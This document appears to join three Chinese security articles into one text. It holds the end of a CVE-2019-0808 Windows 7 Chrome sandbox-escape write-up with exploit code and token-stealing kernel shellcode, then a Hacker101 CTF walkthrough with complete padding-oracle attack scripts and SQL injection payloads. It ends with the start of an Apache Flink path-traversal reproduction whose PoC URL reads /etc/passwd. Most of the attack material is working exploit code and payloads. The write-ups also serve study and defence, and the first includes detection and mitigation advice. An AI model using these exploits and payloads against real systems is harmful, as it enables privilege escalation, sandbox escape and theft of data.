printf("[!] SetWindowLongA malicious error: 0x%08Xrn", GetLastError());
ExitProcess(-1);
}
else {
printf("[*] SetWindowLongA called to set strName.Buffer address. Current
strName.Buffer address that is being adjusted: 0x%08Xrn",
(addressOfStartofPrimaryWndCbWndData + offset));
}`
此代码的开始部分，将检查窗口消息是否为0x15。如果是，代码将计算primaryWindow的wndExtra数据部分的开始与secondaryWindow的strName.Buffer指针的位置之间的距离。这两个位置之间的差异将保存到变量offset中。
完成此操作后，使用hPrimaryWindow调用SetWindowLongA()，并使用offset变量将secondaryWindow的strName.Buffer指针设置为secondaryWindow的bServerSideWindowProc字段的地址。该操作的效果如下图所示。
通过执行此操作，当在secondaryWindow上调用SetWindowText()时，它将继续使用其覆盖的strName.Buffer指针来确定应该执行写入的位置，如果这里有适当的值，那么将导致secondaryWindow的bServerSideWindowProc标记被覆盖作为SetWindowText()的IpString参数提供。
利用tagWND写入原语以设置bServerSideWindowProc位
将secondaryWindow中的strName.Buffer字段设置为secondaryWindow的bServerSideWindowProc标志的地址后，使用hWnd参数hSecondaryWindow和lpString值“x06”调用SetWindowText()，以便在secondaryWindow中启用bServerSideWindowProc标志。
`// Write the value x06 to the address pointed to by hSecondaryWindow's
strName.Buffer
// field to set the bServerSideWindowProc bit in hSecondaryWindow.
if (SetWindowTextA(hSecondaryWindow, "x06") == 0) {
printf("[!] SetWindowTextA couldn't set the bServerSideWindowProc bit. Error
was: 0x%08Xrn", GetLastError());
ExitProcess(-1);
}
else {
printf("Successfully set the bServerSideWindowProc bit at: 0x%08Xrn",
(secondaryWindowAddress + 0x16));`
下图展示了在调用SetWindowTextA()之前和之后，secondaryWindow的tagWND布局。
设置bServerSideWindowProc标志可确保secondaryWindow的窗口过程sprayCallback()现在将以具有SYSTEM级别权限的内核模式运行，而不是像大多数其他窗口过程一样在用户模式下运行。这是一种流行的特权提升方法，并且已经在许多攻击中运用，例如Sednit
APT组织在2017年发动的攻击。下图更加详细地说明了这一点。
窃取进程令牌并移除作业限制
在完成对SetWindowTextA()的调用后，将向hSecondaryWindow发送WM_ENTERIDLE消息，如下述代码所示。
`printf("Sending hSecondaryWindow a WM_ENTERIDLE message to trigger the
execution of the shellcode as SYSTEM.rn");
SendMessageA(hSecondaryWindow, WM_ENTERIDLE, NULL, NULL);
if (success == TRUE) {
printf("[*] Successfully exploited the program and triggered the
shellcode!rn");
}
else {
printf("[!] Didn't exploit the program. For some reason our privileges were
not appropriate.rn");
ExitProcess(-1);
}`
随后，secondaryWindow的窗口过程sprayCallback()将获取WM_ENTERIDLE消息。该功能的代码如下所示。
`// Tons of thanks go to
https://github.com/jvazquez-r7/MS15-061/blob/first_fix/ms15-061.cpp for
// additional insight into how this function should operate. Note that a token
stealing shellcode
// is called here only because trying to spawn processes or do anything
complex as SYSTEM
// often resulted in APC_INDEX_MISMATCH errors and a kernel crash.
LRESULT CALLBACK sprayCallback(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM
lParam)
{
if (uMsg == WM_ENTERIDLE) {
WORD um = 0;
__asm
{
// Grab the value of the CS register and
// save it into the variable UM.
mov ax, cs
mov um, ax
}
// If UM is 0x1B, this function is executing in usermode
// code and something went wrong. Therefore output a message that
// the exploit didn't succeed and bail.
if (um == 0x1b)
{
// USER MODE
printf("[!] Exploit didn't succeed, entered sprayCallback with user mode
privileges.rn");
ExitProcess(-1); // Bail as if this code is hit either the target isn't
// vulnerable or something is wrong with the exploit.
}
else
{
success = TRUE; // Set the success flag to indicate the sprayCallback()
// window procedure is running as SYSTEM.
Shellcode(); // Call the Shellcode() function to perform the token stealing
and
// to remove the Job object on the Chrome renderer process.
}
}
return DefWindowProc(hWnd, uMsg, wParam, lParam);
}`
由于已经在secondaryWindow的tagWND对象中设置了bServerSideWindowProc标志，因此现在应该以SYSTEM用户身份运行sprayCallback()。sprayCallback()函数首先检查传入消息是否为WM_ENTERIDLE消息。如果是，那么内联Shellcode将确保sparyCallback()确实作为SYSTEM用户运行。如果该检查通过，那么布尔型变量将成功设置为TRUE，以指示攻击成功，随后执行函数Shellcode()。
Shellcode()将使用abatchy博客文章中展示的Shellcode执行一个简单的令牌窃取攻击，在下面的代码中重点展示，并做了两处微小的修改。
// Taken from https://www.abatchy.com/2018/01/kernel-exploitation-2#token-stealing-payload-windows-7-x86-sp1.
// Essentially a standard token stealing shellcode, with two lines
// added to remove the Job object associated with the Chrome
// renderer process.
declspec(noinline) int Shellcode()
{
asm {
xor eax, eax // Set EAX to 0.
mov eax, DWORD PTR fs : [eax + 0x124] // Get nt!_KPCR.PcrbData.
// _KTHREAD is located at FS:[0x124]
mov eax, [eax + 0x50] // Get nt!_KTHREAD.ApcState.Process
mov ecx, eax // Copy current process _EPROCESS structure
xor edx, edx // Set EDX to 0.
mov DWORD PTR [ecx + 0x124], edx // Set the JOB pointer in the _EPROCESS structure to NULL.
mov edx, 0x4 // Windows 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + 0B8h] // Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, 0B8h
cmp [eax + 0B4h], edx // Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + 0xF8] // Get SYSTEM process nt!_EPROCESS.Token
mov [ecx + 0xF8], edx // Assign SYSTEM process token.
}
}
这里的修改采用了Chrome渲染器进程的EPROCESS结构，并且其作业指针为NULL。这样做的目的，是因为在尝试过程中发现，即使Shellcode窃取了SYSTEM令牌，该令牌仍然会继承Chrome渲染器进程的作业对象，从而阻止漏洞利用生成任何子进程。在更改Chrome渲染器进程的令牌之前，将Chrome渲染器进程中的作业指针清空，将会从Chrome渲染器进程和稍后分配给它的任何令牌中删除作业限制，从而防止这种情况发生。
为了更好地理解对作业对象进行NULL操作的重要性，我们需要检查以下令牌转储，以获取正常的Chrome渲染器进程。需要注意的是，作业对象字段已经填写，因此作业对象限制当前正在应用于该进程。
0: kd> !process C54
Searching for Process with Cid == c54
PROCESS 859b8b40 SessionId: 2 Cid: 0c54 Peb: 7ffd9000 ParentCid: 0f30
DirBase: bf2f2cc0 ObjectTable: 8258f0d8 HandleCount: 213.
Image: chrome.exe
VadRoot 859b9e50 Vads 182 Clone 0 Private 2519. Modified 718. Locked 0.
DeviceMap 9abe5608
Token a6fccc58
ElapsedTime 00:00:18.588
UserTime 00:00:00.000
KernelTime 00:00:00.000
QuotaPoolUsage[PagedPool] 351516
QuotaPoolUsage[NonPagedPool] 11080
Working Set Sizes (now,min,max) (9035, 50, 345) (36140KB, 200KB, 1380KB)
PeakWorkingSetSize 9730
VirtualSize 734 Mb
PeakVirtualSize 740 Mb
PageFaultCount 12759
MemoryPriority BACKGROUND
BasePriority 8
CommitCharge 5378
Job 859b3ec8
THREAD 859801e8 Cid 0c54.08e8 Teb: 7ffdf000 Win32Thread: fe118dc8 WAIT: (UserRequest) UserMode Non-Alertable
859c6dc8 SynchronizationEvent
为了确认这些限制确实存在，我们可以在Process Explorer中检查该进程的进程令牌。通过该进程，能够确认作业确实存在许多限制，比如禁止生成子进程。
如果该进程令牌中的“作业”字段设置为NULL，则WinDBG的!process命令不会再将作业与对象关联。
1: kd> dt nt!_EPROCESS 859b8b40 Job
+0x124 Job : 0x859b3ec8 _EJOB
1: kd> dd 859b8b40+0x124
859b8c64 859b3ec8 99c4d988 00fd0000 c512eacc
859b8c74 00000000 00000000 00000070 00000f30
859b8c84 00000000 00000000 00000000 9abe5608
859b8c94 00000000 7ffaf000 00000000 00000000
859b8ca4 00000000 a4e89000 6f726863 652e656d
859b8cb4 00006578 01000000 859b3ee0 859b3ee0
859b8cc4 00000000 85980450 85947298 00000000
859b8cd4 862f2cc0 0000000e 265e67f7 00008000
1: kd> ed 859b8c64 0
1: kd> dd 859b8b40+0x124
859b8c64 00000000 99c4d988 00fd0000 c512eacc
859b8c74 00000000 00000000 00000070 00000f30
859b8c84 00000000 00000000 00000000 9abe5608
859b8c94 00000000 7ffaf000 00000000 00000000
859b8ca4 00000000 a4e89000 6f726863 652e656d
859b8cb4 00006578 01000000 859b3ee0 859b3ee0
859b8cc4 00000000 85980450 85947298 00000000
859b8cd4 862f2cc0 0000000e 265e67f7 00008000
1: kd> dt nt!_EPROCESS 859b8b40 Job
+0x124 Job : (null)
1: kd> !process C54
Searching for Process with Cid == c54
PROCESS 859b8b40 SessionId: 2 Cid: 0c54 Peb: 7ffd9000 ParentCid: 0f30
DirBase: bf2f2cc0 ObjectTable: 8258f0d8 HandleCount: 214.
Image: chrome.exe
VadRoot 859b9e50 Vads 180 Clone 0 Private 2531. Modified 720. Locked 0.
DeviceMap 9abe5608
Token a6fccc58
ElapsedTime 00:14:15.066
UserTime 00:00:00.015
KernelTime 00:00:00.000
QuotaPoolUsage[PagedPool] 351132
QuotaPoolUsage[NonPagedPool] 10960
Working Set Sizes (now,min,max) (9112, 50, 345) (36448KB, 200KB, 1380KB)
PeakWorkingSetSize 9730
VirtualSize 733 Mb
PeakVirtualSize 740 Mb
PageFaultCount 12913
MemoryPriority BACKGROUND
BasePriority 4
CommitCharge 5355
THREAD 859801e8 Cid 0c54.08e8 Teb: 7ffdf000 Win32Thread: fe118dc8 WAIT: (UserRequest) UserMode Non-Alertable
859c6dc8 SynchronizationEvent
再次检查Process
Explorer，我们可以确认，由于Chrome渲染的进程令牌中的“作业”字段已为NULL，因此不再有与Chrome渲染器进程关联的任何作业。我们可以在下面的屏幕截图中看到，Chrome渲染器进程无法再使用“作业”选项卡，因为不再有任何作业与之关联，也就意味着它现在可以生成任何想要的子进程。
### 生成新进程
一旦Shellcode()执行完成，WindowHookProc()将进行检查，以查看变量success是否设置为TRUE，该变量表明漏洞利用已经成功完成。如果已经成功完成，那么它将在返回执行到main()之前打印成功的消息。
`if (success == TRUE) {
printf("[*] Successfully exploited the program and triggered the
shellcode!rn");
}
else {
printf("[!] Didn't exploit the program. For some reason our privileges were
not appropriate.rn");
ExitProcess(-1);
}`
main()将退出其窗口消息处理循环，因为后续没有更多的消息需要处理。随后，会执行检查，确认是否成功（设置为TRUE）。如果是，则将执行堆WinExec()的调用，以使用被盗的SYSTEM令牌执行具有SYSTEM权限的cmd.exe。
`// Execute command if exploit success.
if (success == TRUE) {
WinExec("cmd.exe", 1);
}`
## 威胁检测
我们可以通过测试用户模式下的应用程序行为来检测漏洞利用活动，并判断目标程序是否调用了CreateWindow()或是否使用了IpClassName参数“#32768”来调用CreateWindowEx()。任何用户模式下的合法应用程序都不会轻易使用类字符串“#32768”，因为它主要是操作系统在使用的，因此当我们检测到相关行为时，可以判定为漏洞利用活动。
## 缓解方案
运行Windows
8或更高版本操作系统可以防止攻击者利用该漏洞，因为新版本操作系统可以防止应用程序映射内存地址中前64KB的内容。这也就意味着，攻击者将无法分配NULL页面，或靠近NULL页面的内存地址，例如0x30。除此之外，将操作系统更新至Windows
或更高版本，还可以允许Chrome沙盒屏蔽所有针对win32k.sys的所有调用，这样就可以防止攻击者通过调用NtUserMNDragOver()来触发该漏洞了。
在Windows
7上，唯一的威胁缓解方案就是安装更新补丁KB4489878或KB4489885，大家可以从漏洞CVE-2019-0808的安全公告页面中下载并安装更新补丁。
## 总结
开发一种Chrome沙盒逃逸技术，需要满足很多的条件。但是，通过利用Windows
7等操作系统本身的安全缺陷，比如说win32k.sys中的漏洞，攻击者仍然可以实现Chrome沙盒逃逸，并构建0 day漏洞利用链。 | 社区文章 |
## 背景介绍
[Hackerone](https://www.hackerone.com)是一个漏洞赏金平台，想获取该平台的项目资格，需解答[Hacker101
CTF](https://ctf.hacker101.com/ctf)题目。不同的题目有不同数量的flag，每个flag因题目难度不同而对应不同积分（point）。每得26分就会获得一个私密项目邀请。
本文记录了其中名为“[Encrypted
Pastebin](https://ctf.hacker101.com/ctf/launch/4)”的题目的解法。该题要求技能为Web和Crypto，难度为Hard，共有4个flag，每个flag值9分。
本文写作日期为2019年12月15日。读者阅读本文时可能已经时过境迁，Hacker101
CTF可能不再有这道题目，或内容发生变化。但本文尽可能地详细记录了整个解答过程，没有题目并不影响阅读和理解本文。
若读者正在解答这道题目但没有前进的思路，建议读者 **不要** 继续阅读本文，否则将损害解答这道题目的本意。请带着这一提示关闭本文：padding
oracle。
## 题目描述
题目的地址是动态的，每隔一段时间打开都会不同，所以这里无法给出题目地址。也因其动态性，后文中相关代码或截图中题目地址可能会有所不同，读者只要知道虽然地址不同但其实是同一道题目便不会影响阅读了。
打开题目后看到一个Web页面，如下图所示：
提示文本是：
> We've developed the most secure pastebin on the internet. Your data is
> protected with military-grade 128-bit AES encryption. The key for your data
> is never stored in our database, so no hacker can ever gain unauthorized
> access.
从提示文本中我们知道了加密算法是AES，密钥长度是128比特，那么分组便是16字节。此外我们还知道了加密用户数据的密钥没有保存在数据库中。
我们输入`Title`为`1`，内容也为`1`，然后点击`Post`按钮，页面跳转到了：
http://35.190.155.168/fc2fd7e530/?post=LPTALJ-WW1!q1nfGhY54lVwmLGQexY7uNSfsUowFr2ercuG5JXhsPhd8qCRF8VhNdeZCxxwCcvztwOURu!Nu!oTs3O7PKqDolpVZAxybuxaIPInRPlTm1mos!7oCcyHvPxS5L!gthTFpbJfrE0Btn3v9-gVly!yyMceC-FQlgsta53SGNVNHBVnwE0fWiLw8Yh2kKNk5Uu9KOWSItZ3ZBQ~~
观察这个URL，看到路径没有变，只是多了`post`参数，参数值长得很像base64编码，但又有一点点区别。页面内容如下图所示：
这道题目便是这个样子，一个功能单一的Web页面。一开始我很困惑这玩意有什么用，后来意识到Pastebin和Blog、BBS一样是一种Web应用，其作用是存储和分享一段纯文本数据，一般是源代码。如Ubuntu就提供自己的[Pastebin](https://paste.ubuntu.com/)服务。应用场景之一是一群人使用IRC讨论编程问题，一个人想向大家分享一段代码，那么他可以将这段代码存储在Pastebin中，将链接分享给大家，这样便避免了大段代码刷屏，感兴趣的人打开链接查看代码一般也能获得比较好的阅读体验。
根据以往做过的Hacker101 CTF题目知道每个漏洞对应一个flag。现在我们要做的便是找出这个加密Pastebin服务的漏洞。
## Flag 1
一开始毫无思路，便想着输入异常数据试图引发错误。将`post`参数的值修改为`1`，提交后结果出乎意料，直接得到了一个flag，如下图所示。
在报错中我们看到了服务器是如何解码`post`参数的：
b64d = lambda x: base64.decodestring(x.replace('~', '=').replace('!', '/').replace('-', '+'))
其实就是base64编码，只不过替换了3个关键字符。为简单起见，后文中就直接把它称做base64编码。在报错信息中我们还看到在按base64解码`post`参数后，调用一个名为`decryptLink`的函数解密它，解密后按UTF-8解码，并以json格式解析：
post = json.loads(decryptLink(postCt).decode('utf8'))
从这个报错中暂时就看出这些有用的信息。但同时我们知道，通过触发错误可以获得很多信息。
## Flag 2
### 报错1
现在考虑触发别的报错，向服务器提交能成功base64解码但在调用`decryptLink`解密时报错的数据。我们知道了如何解码`post`参数，便也就知道了如何编码`post`参数。提交`post`参数为`MTix`（一个有效的base64编码），这次报错为：
通过这个报错，我们看到了`decryptLink`函数中有一行代码的内容是：
cipher = AES.new(staticKey, AES.MODE_CBC, iv)
看来加解密`post`参数使用的密钥是静态的（`staticKey`）。还看到加密使用了CBC模式。报错中说IV（初始向量）长度必须是16字节，看来IV是从`post`参数中提取的。
### 报错2
现在考虑触发新的报错，将16个`*`编码，结果为：
KioqKioqKioqKioqKioqKg~~
提交此参数，成功触发了新的报错，如下图所示。
从这个报错中我们看到了`decryptLink`函数的最后一行代码，内容是：
return unpad(cipher.decrypt(data))
报错说`string index out of
range`，应该是提交的`post`参数长度为16字节，刚够IV，实际数据为0，所以产生了这个错误。同时注意到有一个`unpad`操作，看函数名其功能应该是去掉填充（pad）。
### 报错3
再尝试触发新的报错，将32个`*`编码，结果为：
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKio~
提交此参数，成功触发了新的报错，如下图所示。
这次的报错中出现了耐人寻味的`PaddingException`，结合CBC模式是可以使用padding
oracle攻击解出明文的。虽然在大学密码学课上骆老师讲过这种攻击方式，但具体细节记不清楚了。查了些资料后补齐了细节，写了一个Python脚本来执行该攻击，脚本内容如下。该攻击的资料很多，网上一搜一大把，这里就不给出具体的参考链接了。后文假设读者清楚padding
oracle攻击的细节，若不清楚，请先查阅资料。
import base64
import requests
def decode(data):
return base64.b64decode(data.replace('~', '=').replace('!', '/').replace('-', '+'))
def encode(data):
return base64.b64encode(data).decode('utf-8').replace('=', '~').replace('/', '!').replace('+', '-')
def bxor(b1, b2): # use xor for bytes
result = b""
for b1, b2 in zip(b1, b2):
result += bytes([b1 ^ b2])
return result
def test(url, data):
r = requests.get(url+'?post={}'.format(data))
if 'PaddingException' in r.text:
return False
else:
return True
def generate_iv_list(tail):
iv = b'\x00' * (16 - len(tail) -1)
return [iv+bytes([change])+tail for change in range(0x00, 0xff+1)]
def padding_oracle(real_iv, url, data):
index = 15
plains = bytes()
tail = bytes()
while index >= 0:
for iv in generate_iv_list(tail):
if test(url, encode(iv+data)):
plains = bytes([(16-index) ^ iv[index]]) + plains
index -= 1
tail = bytes([plain ^ (16-index) for plain in plains])
break
return bxor(real_iv, plains)
if __name__ == '__main__':
post = 'LPTALJ-WW1!q1nfGhY54lVwmLGQexY7uNSfsUowFr2ercuG5JXhsPhd8qCRF8VhNdeZCxxwCcvztwOURu!Nu!oTs3O7PKqDolpVZAxybuxaIPInRPlTm1mos!7oCcyHvPxS5L!gthTFpbJfrE0Btn3v9-gVly!yyMceC-FQlgsta53SGNVNHBVnwE0fWiLw8Yh2kKNk5Uu9KOWSItZ3ZBQ~~'
url = 'http://35.190.155.168/fc2fd7e530/'
i = 1
plains = bytes()
data = decode(post)
length = len(data)
while True:
if i*16 < length:
iv = data[(i-1)*16: i*16]
plains += padding_oracle(iv, url, data[i*16: (i+1)*16])
else:
break
i += 1
print(plains)
运行这个脚本，花了大约1个小时才解出明文是：
{"flag": "^FLAG^597a59999a26c9f1b48d7xxxxxxxxxxxxxxxxxxxxxxxxxxxb153f505d4755bf2$FLAG$", "id": "3", "key": "XjPkmljch5E2sMiNhsNiqg~~"}\n\n\n\n\n\n\n\n\n\n
至此拿到了第二个flag。
## Flag 3
观察解出的明文，发现它是json格式的，共有三个键，第一个是`flag`，应该纯粹为CTF服务，没有实际意义；第二个是`id`，值为`3`；第三个是`key`，值被用base64编码了，解码后发现是16字节长的二进制数据，怎么看怎么像AES密钥，用它直接解密`post`参数却是失败的，看来是其他地方的密钥了。
我们知道CBC除了padding
oracle攻击外还有字节翻转攻击，利用字节翻转攻击可以把`id`由`3`改成其他值，比如`1`。但实际尝试发现这样做是行不通的，因为字节翻转攻击的原理是修改密文分组中一个字节的值，使下一个分组中明文的对应位置的字节按我们的意愿修改，这样做会导致修改过的密文分组解密出的明文变成乱码，而这个乱码往往无法按UTF-8解码，在`decode('utf8')`时会触发`UnicodeDecodeError`错误。
为了避免`UnicodeDecodeError`错误，我们不能修改任何密文，那么就只能修改IV了。通过修改IV，我们可以控制第一个分组的明文。其原理如下图所示，用想要的明文异或原本的（已知）明文，将结果做为新的IV，解密时会再异或一次得到我们想要的明文。
然而`id`出现在第6个明文分组中，无法直接修改。但好在我们可以完全控制IV和密文，所以可以抛弃部分密文。为便于观察，先把明文按16字节分组，结果如下：
{"flag": "^FLAG^
597a59999a26c9f1
b48d7xxxxxxxxxxx
xxxxxxxxxxxxxxxx
b153f505d4755bf2
$FLAG$", "id": "
3", "key": "XjPk
mljch5E2sMiNhsNi
qg~~"}\n\n\n\n\n
\n\n\n\n\n
然后再设计我们想要的明文：
{"id":"1", "i":"
3", "key": "XjPk
mljch5E2sMiNhsNi
qg~~"}\n\n\n\n\n
\n\n\n\n\n
对比可知完全抛弃了前5个分组，只保留了后5ge分组，并且后5个分组中只有第1个分组的内容是改变了的。这样我们计算出合适的IV，便可以得到想要的结果。具体的计算方法见代码：
post = 'LPTALJ-WW1!q1nfGhY54lVwmLGQexY7uNSfsUowFr2ercuG5JXhsPhd8qCRF8VhNdeZCxxwCcvztwOURu!Nu!oTs3O7PKqDolpVZAxybuxaIPInRPlTm1mos!7oCcyHvPxS5L!gthTFpbJfrE0Btn3v9-gVly!yyMceC-FQlgsta53SGNVNHBVnwE0fWiLw8Yh2kKNk5Uu9KOWSItZ3ZBQ~~'
data = decode(post)[16*(1+5):] # 抛弃原始密文的前5个分组（加1是因为有16字节的IV）
iv_6 = decode(post)[16*(1+4):16*(1+5)] # 第5个分组的密文，也就是第6个分组的“IV”
immediate = bxor(b'$FLAG$", "id": "', iv_6) # 第6个分组密文解密的直接结果
iv = bxor(immediate, b'{"id":"1", "i":"') # 计算出合适的IV
print(encode(iv+data))
运行该代码计算出对应`post`参数为：
11is9FtK5stoIrb8SWs77z8UuS!4LYUxaWyX6xNAbZ97!foFZcv8sjHHgvhUJYLLWud0hjVTRwVZ8BNH1oi8PGIdpCjZOVLvSjlkiLWd2QU~
提交此参数，没有成功查询出`id`为`1`的条目，但成功拿到了新的flag，如下图。
通过错误提示推测这是因为服务器只加密了body没有加密title，flag存储在title中，尝试解密body时触发了错误（因为key是id=3的数据的，不是id=1的数据的），但好在错误信息中包含了title的值。
## Flag 4
继续设法触发新的报错，试试SQL注入。构造如下的明文，把`id`的值设置为单引号：
{"id":"'", "i":"
3", "key": "XjPk
mljch5E2sMiNhsNi
qg~~"}\n\n\n\n\n
\n\n\n\n\n
计算出对应`post`为：
11is9FtK5t1oIrb8SWs77z8UuS!4LYUxaWyX6xNAbZ97!foFZcv8sjHHgvhUJYLLWud0hjVTRwVZ8BNH1oi8PGIdpCjZOVLvSjlkiLWd2QU~
提交此参数，如愿以偿地看到了SQL注入的报错，甚至知道了具体的SQL语句是什么，如下图。
但按现有的方法，我们最多只能控制9个字符。9个字符是无论如何都无法完成注入的。
多方查阅资料后在一篇文章中看到说padding oracle攻击不仅可以用来解密明文，还可以用来构造解密出 **任意指定**
明文的密文。又在《[Automated Padding Oracle Attacks with
PadBuster](https://blog.gdssecurity.com/labs/2010/9/14/automated-padding-oracle-attacks-with-padbuster.html)》中找到了具体的原理，其实非常简单，是我们前面做法的推广。这里简单叙述一下原理。
如上图，已知利用padding oracle攻击我们可以在不知道密钥的情况下解密出 **任意** 密文对应的`Intermediary
Value`，在CBC模式中`Intermediary Value`和IV或上一块密文异或得到`Decrypted
Value`。为构造解密出任意指定明文的密文，我们先将明文分组并按PKCS#5填充。然后随机生成16字节数据做最后一块密文，用padding
oracle计算出它的`Intermediary Value`，用`Intermediary
Value`异或最后一块明文得到倒数第二块密文。用padding oracle计算出倒数第二块密文的`Intermediary
Value`，用`Intermediary Value`异或倒数第二块明文得到倒数第三块密文。依此类推，直到计算出IV。
看懂原理后写了一个Python脚本来实现这种攻击，脚本太长为了不影响阅读附在文末。
首先构造明文：
{"id":"0 UNION SELECT database(), ''","key":"XjPkmljch5E2sMiNhsNiqg~~"}
计算出对应`post`参数为：
vpxsCHeQyFv5Xz4ITQHcTgNDCEuKQ1YRvZU6JINj2La063Cs2XWp0GsHLGVmrVFfrwmnx-gmZgdPBL16ODezPqd5DrohLnQvjeJK7!STgHyNFotCtLYeOCS2-IVdPQHA
得到数据库名为`level3`。
接着构造明文：
{"id":"0 UNION SELECT group_concat(TABLE_NAME), '' from information_schema.tables where TABLE_SCHEMA='level3'","key":"XjPkmljch5E2sMiNhsNiqg~~"}
计算出对应`post`参数为：
7yUXiAErbrYDMQu9o6!rEsLGp-qFoWKIc!n22RVLCUNmFRKq9OZtyTtyPOy3LNbMLyQJmYODUBikZMkFlGdYJ2bIzCAsMXWK8pZJ94T7HNGYCAnZbf6eb0vpocf-ybAo42WQc9dUv8Iw7!9WZe76ETDW!M7obDKpipW4WMM9l3TJPkw0pFrSNtOHB1XmaKv23hh51E8cGTaU-1P27YqZZY0Wi0K0th44JLb4hV09AcA~
得到数据库`level3`中有表`posts`和`tracking`，前一个表的内容我们已经知道了，所以关心后一个表，构造如下明文查询它有哪些列：
{"id":"0 UNION SELECT group_concat(column_name), '' from information_schema.columns where TABLE_NAME='tracking'","key":"XjPkmljch5E2sMiNhsNiqg~~"}
计算出对应`post`参数为：
xjYpoCshfUQiElru19HYf04qjeYVD8CoA9XmG2Oly9ECT7stCN-AuV5PqBw5FOTaMmYIYykBwq7wUHJ08kc6jjNgK8pwZ0-U3024MxjwrCgGJu3qOBz91H1qn5DT5zducioD06x1w3HClw2grzbdreZgLFq!JQJMk8VhhXweN65GVLlJwibidmS4SFd0XZYh7HVnylECByiK5U3o85SHe40Wi0K0th44JLb4hV09AcA~
得到表`tracking`有列`id`和`headers`，`id`里应该没有实际数据，所以我们试图查询出`headers`。为此构造明文：
{"id":"0 UNION SELECT group_concat(headers), '' from tracking","key":"XjPkmljch5E2sMiNhsNiqg~~"}
计算出对应`post`参数为：
be6Lqymj1Mmo5urgkMavFVbMAhGyzY8DKY94bPMcjvq!wzT2jIXMFVg-5aEFeap-zVKyX8oHocYl4foLJe76ETDW!M7obDKpipW4WMM9l3TJPkw0pFrSNtOHB1XmaKv23hh51E8cGTaU-1P27YqZZY0Wi0K0th44JLb4hV09AcA~
成功的查出了所有的`headers`，但其中没有flag。观察数据，看到`headers`应该是http的头部，其中也包含`post`参数，都试一试，发现第一个`post`参数可以解出一个新的flag，如下图。
至此，拿到了全部的4个flag。
## 总结
先总结一下Encrypted
Pastebin的工作流程：每次接到用户数据都随机生成一个key对其进行加密，加密结果存储在数据库中，然后用固定密钥staticKey加密随机生成的key，并将加密结果和数据库条目id编码后返回给用户。用户直接打开链接就可以看到存储的数据，和非加密的Pastebin一样方便。加密用户数据的密钥确实没有存储在数据库中，和首页宣传的一致。
这道题目对我来说是很有难度的，我花了一整个周末才完成它。一方面它让我复习/新学了密码学知识，另一方面，也是更重要的——它教导我不要轻易放弃。在进行padding
oracle攻击时，速度很慢很慢，由于编程错误跑了很久却没有任何结果，让我心灰意冷，反复修改多次才终于成功。进行SQL注入时，由于一开始不知道利用padding
oracle攻击可以构造解密出任意指定明文的密文便毫无思路，并且已经拿到了27分，几乎真的放弃了。后来觉得若是现在放弃，今后再做又得复习前面的所有步骤，白白浪费时间，才又坚持做下去。
## 附录
生成解密出任意指定明文的密文的Python脚本：
import base64
import requests
def trans(s):
return "b'%s'" % ''.join('\\x%.2x' % x for x in s)
def decode(data):
return base64.b64decode(data.replace('~', '=').replace('!', '/').replace('-', '+'))
def encode(data):
return base64.b64encode(data).decode('utf-8').replace('=', '~').replace('/', '!').replace('+', '-')
def bxor(b1, b2): # use xor for bytes
result = b""
for b1, b2 in zip(b1, b2):
result += bytes([b1 ^ b2])
return result
def test(url, data):
r = requests.get(url+'?post={}'.format(data))
if 'PaddingException' in r.text:
return False
else:
print(r.url)
return True
def generate_iv_list(tail):
iv = b'\x00' * (16 - len(tail) -1)
return [iv+bytes([change])+tail for change in range(0x00, 0xff+1)]
def padding_oracle_decrypt(url, data):
print('破解数据：{}'.format(data))
index = 15
intermediary = bytes()
tail = bytes()
while index >= 0:
for iv in generate_iv_list(tail):
print('尝试初始向量：{}'.format(trans(iv)))
if test(url, encode(iv+data)):
intermediary = bytes([(16-index) ^ iv[index]]) + intermediary
index -= 1
tail = bytes([temp ^ (16-index) for temp in intermediary])
break
return intermediary
def pad(data, block_size):
"""按PKCS#5填充"""
amount_to_pad = block_size - (len(data) % block_size)
if amount_to_pad == 0:
amount_to_pad = block_size
pad = bytes([amount_to_pad])
return data + pad * 16
if __name__ == '__main__':
url = 'http://35.190.155.168/fc2fd7e530/'
post = 'OQ9EaI4kACeslNOW5XuTWpnKWmjyduYd0CnPDOFVUNW6tmnWyxyj-ID-xbYIkUaXrg-F4T!!5!4cZxh738rhQ-1QhYP1GcIy-tx0HILgW9bqTiWFGCgrCqTJKoLfoKlXjRaLQrS2HjgktviFXT0BwFPxx29x7i1UxDdLeC7ZAVxvJ4WDvDyxzEc3vNxuRE5UB!dytTf!iY32Cpl8iiI7LQ~~'
ciphertext = decode(post)[16*6:16*7]
immediate = bxor(b'$FLAG$", "id": "', decode(post)[16*(1+4):16*(1+5)])
plains = '{"id":"0 UNION SELECT group_concat(headers), \'\' from tracking","key":"XjPkmljch5E2sMiNhsNiqg~~"}'
data = pad(plains.encode('utf-8'), 16)
block_amount = int(len(data) / 16)
index = block_amount
while True:
block = data[(index-1)*16: index*16]
print('处理块：')
print(block)
iv = bxor(immediate, block)
ciphertext = iv + ciphertext
index -= 1
if index > 0:
immediate = padding_oracle_decrypt(url, iv)
else:
break
print(encode(ciphertext)) | 社区文章 |
# 简介
Apache Flink
1.11.0-1.11.2中引入的一项更改，允许攻击者通过`JobManager`进程的REST接口读取本地文件系统上的任何文件，访问仅限于JobManager进程可访问的文件。
# 复现
下载源码：
git clone https://github.com/apache/flink.git
根据官方公告可以得到修复的`commit`为`b561010b0ee741543c3953306037f00d7a9f0801`
里边还有测试用例可以去看看。
使用未打补丁的`parent-commit`搭建环境。
git checkout 7fed9f0243aaf80d0060f075b95ba46b3207c8a8
编译
mvn clean package -DskipTests
一般半小时就行
编译后会出现`build-target`目录，修改配置文件用于IDEA-DEBUG动态调试
flink-debug-src/build-target/conf/flink-conf.yaml
IDEA调试配置
在配置文件最后添加：
env.java.opts: -agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=5006
开启服务
flink-debug-src/build-target/bin/start-cluster.sh
POC
http://localhost:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
# 分析
从路由处开始分析。
org.apache.flink.runtime.rest.handler.router.Router#route(org.apache.flink.shaded.netty4.io.netty.handler.codec.http.HttpMethod,
java.lang.String,
java.util.Map<java.lang.String,java.util.List<java.lang.String>>)
跟踪POC的`path`部分，POC的后半部分是双URL编码的，到达服务器自动解码一次，第二次解码处理发生在`decodePathTokens`函数。
